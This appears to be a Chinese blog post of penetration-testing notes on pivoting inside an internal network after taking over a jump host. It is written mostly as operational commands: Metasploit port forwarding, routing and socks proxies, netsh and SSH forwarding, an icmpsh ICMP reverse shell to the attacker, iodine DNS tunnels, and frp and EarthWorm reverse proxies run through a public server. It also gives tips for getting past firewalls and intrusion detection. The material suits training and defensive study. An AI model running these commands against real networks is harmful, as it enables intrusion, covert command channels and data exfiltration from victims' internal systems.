内网渗透-通信问题
Published on 2024-03-24 22:25 in Loading... with gr3

内网渗透-通信问题

内网渗透-通信

tcpdump -n -i eth0 udp dst port 53 抓取流量

端口转发

linux下的端口转发:iptables、firewall

meterpreter端口转发(反弹shell后,meterpreter输入)

portfwd add -l 9999 -r ip -p 80:添加路由
portfwd list:打印端口映射
portfwd delete -l 9999 -r ip -p 80:删除路由

msf通过木马,把本地9999端口的流量转发到远程机器(ip对应的机器)的80端口木马把80端口返回流量转发到攻击机本地9999端口(木马使用的一些指令是在内存中直接加载,不是木马本身所占磁盘大小的,所以木马就几k大小但却可实现端口转发)

windows端口转发:netsh(windows做端口转发需要administrator)

(1)端口转发命令

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=ip connectport=80

将本地的8888端口流量转发到远程主机(ip对应的主机)的80端口,通常是拿到内网跳板机后执行端口转发

跳板机做端口转发时,可能遇到转发的跳板机端口(这里的8888)被封了,也就是防火墙拦了,解决方案:

  1. 找机器有提供服务的端口,把原有的服务关掉,用这个端口做端口转发
  2. 让跳板机访问自己,而不是自己去访问跳板机
  3. 使用ICMP协议,ICMP不用端口

(2)windows查看端口转发列表

netsh interface portproxy show all

(3)清除转发规则

netsh interface portproxy delete v4tov4 listenport=8888
netsh interface portproxy reset

msf内网操作

拿下跳板机后,通过跳板机建立路由、建立代理来对内网进行扫描、渗透

chcp 65001:更改编码格式,防止乱码

arp -a

sessions -i id:进入指定的session,也就是对应的meterpreter界面

内网路由

木马建立与内网的路由通道

(1)meterpreter直接路由

run autoroute -p:打印路由
run autoroute -s 192.168.57.0/24(一个网段)
run autoroute -d -s 192.168.57.0/24(删除指定路由)

(2)使用msf模块

route print:打印路由
run post/multi/manage/autoroute:自动添加木马所在主机的所有路由

(3)msf提示符

route add 192.168.57.0/24 11代表session ID)

msf扫内网

use auxiliary/scanner/portscan/syn:扫描端口
auxiliary/scanner/discovery/udp_sweep:该模块扫描网段
Meterpreter->run get_local_subnets:获取网段

msf代理服务器

常见有socks代理、http代理

socks代理在七层模型比http代理更低层,功能更强大。

socks4代理只支持TCP,socks5代理只支持TCP、UDP

msf的socks代理模块

auxiliary/server/socks_proxy
jobs
jobs -k id 删除代理

linux的全局代理配置文件:vim /etc/proxychains4.conf

设置完上述配置文件后,在msf以外的命令行使用proxychains就可以使用代理

proxychains nmap ........(这里就可以使用配置的代理来用nmap扫描)

注意:proxychains只对TCP流量有效,所以不要用ping测试代理

路由只可以在msf中使用来攻击内网,因为它是通过木马来使用路由、建立连接

而通过msf的木马建立了代理之后,我们就可以在msf之外使用代理来攻击内网

隧道通信

隧道可以用做代理,但是隧道还可以用来隐蔽数据传输,过防火墙等检测系统。如DNS隧道就可以在DNS查询、响应中嵌入数据从而传输

Neo-regeorg(http正向隧道)

生成木马:

python neoreg.py generate -k 123456123456是密钥

Neo-regeorg = msf生成php或jsp这些木马加路由+socks5代理

ssh隧道

目标服务器(跳板机)有ssh,开22端口

ssh本地转发

kali输入命令:

ssh -CfNg -L 8879:内网机器ip:80 uname@跳板机ip
输入跳板机的密码,访问本机127.0.0.1:8879,通过跳板机可以访问内网机器的80端口

这里其实就是跳板机做了个端口转发

ssh远程转发

win2016执行命令(需要kali开22端口也就是ssh):

ssh -CfNg -R 3333:内网机器ip:80 uname@kali的ip
输入kali的密码,访问内网机器的80端口

ICMP隧道

ICMP是相对底层的隧道,更隐蔽、不易检测,ping就是走的icmp。把tcp/udp数据封装到icmp

ping一般40几个字节,如果icmp隧道来攻击,数据会大一些,可以借此分析攻击行为。防火墙一般不拦截icmp,但容易被入侵检测系统发现(icmp是不加密的)

跳板机为windows

工具:icmpsh等

(1)kali运行

sysctl -w net.ipv4.icmp_echo_ignore_all=1 #设置为0还原
因为icmpsh要代替系统本身的ping应答程序,所以需要修改上述值为1以关闭本地应答
开启服务端
python2 ./icmpsh_m.py ip1 跳板机ip

(2)跳板机运行icmpsh.exe

icmpsh.exe -t ip1

icmpsh.exe不用于powershell环境(powershell环境--NiShang)

跳板机为linux

工具:pingTunnel

DNS隧道

DNS几乎是不会被封的,因为需要解析域名,所以其他协议隧道用不了,用DNS隧道。

工具

dns3tcp:直连DNS隧道,快

iodine:支持转发模式、中继模式,慢。iodine使用c语言开发,原理是:在服务端通过TAP虚拟网卡,建立一个虚拟局域网,客户端建立一个虚拟网卡,二者通过DNS隧道连接,处于同一局域网。使用后客户端、服务端会出现一个dns0的网卡

条件需要域名、公网ip

(1)公网配置NS记录,方便把dns解析时的数据给到自己的公网机器

有个NS记录叫ns指向www.域名

而有个A记录www指向公网ip

vps记得开放53端口

(2)公网服务器安装iodine运行

iodined -f -c -P xxx 192.168.200.1 ns.域名 -DD
-f:前台运行
-c:禁止检查传入请求客户端ip地址
-P:指定客户端、服务端之间用于身份验证的密码(xxx)
-DD:调试级别为二级,D的数量表示几级
192.168.200.1是虚拟局域网的ip地址

(3)内网服务器安装iodine,执行

linux执行:iodine -f -P xxx 公网ip ns.域名
windows执行:iodine.exe -f -P xxx 公网ip ns.域名

利用DNS隧道创建socks5代理

(1)公网机器配置frps

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = 12345678
执行:./frps -c frps.ini

(2)内网机器配置frpc

[common]
server_addr = 192.168.200.1 iodine建立的公网机器的虚拟ip(iodine服务端)
server_port = 7000
token = 12345678
[socks5_xm]
type = tcp
remote_port = 8089
plugin = socks5
use_encryption = true
use_compression = true
执行:./frpc -c frpc.ini

kali配置代理:socks5 公网ip 8089

DNS隧道包裹socks5代理流量

EarthWorm

正向代理

跳板机运行:

ew_for_win_32.exe -s ssocksd -l 1080

攻击机用跳板机ip:1080做代理

反向代理

需要有公网ip

(1)公网服务器运行:

./ew_for_linux64 -s rcsocks -l 8080 -e 8086

8080是kali用的代理端口(也就是kali与之通信的端口),8086是与跳板机通信的端口

(2)跳板机运行

ew_for_win_32.exe -s rssocks -d 公网ip -e 8086

建立与公网ip指定端口的通信

正向代理用于,跳板机有公网ip(攻击机可以访问到的情况)

反向代理用于,跳板机无法被访问,但是它可以出网(可以去访问公网ip),就可以利用公网ip做反向代理

端口映射

frp端口映射

ssh服务

需要公网ip

(1)公网机器配置frps.ini,使用./frps -c frps.ini启动

[common]
bind_port #frp服务端口

(2)内网机器配置内网frp客户端 frpc.ini

[common]
server_addr = 公网ip
server_port = 公网frp服务端端口
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 8082 #设置为0是随机端口,8082是frp服务端监听的端口

任意机器输入ssh -p 8082 uname@公网ip就可以访问内网机器的22端口(也就是ssh连接到内网机器)

利用公网机器做中间的代理人,来访问内网服务,内网穿透工具就是这么个原理,只是不一定是映射内网的ssh服务

posted @   qingshanboy  阅读(23)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示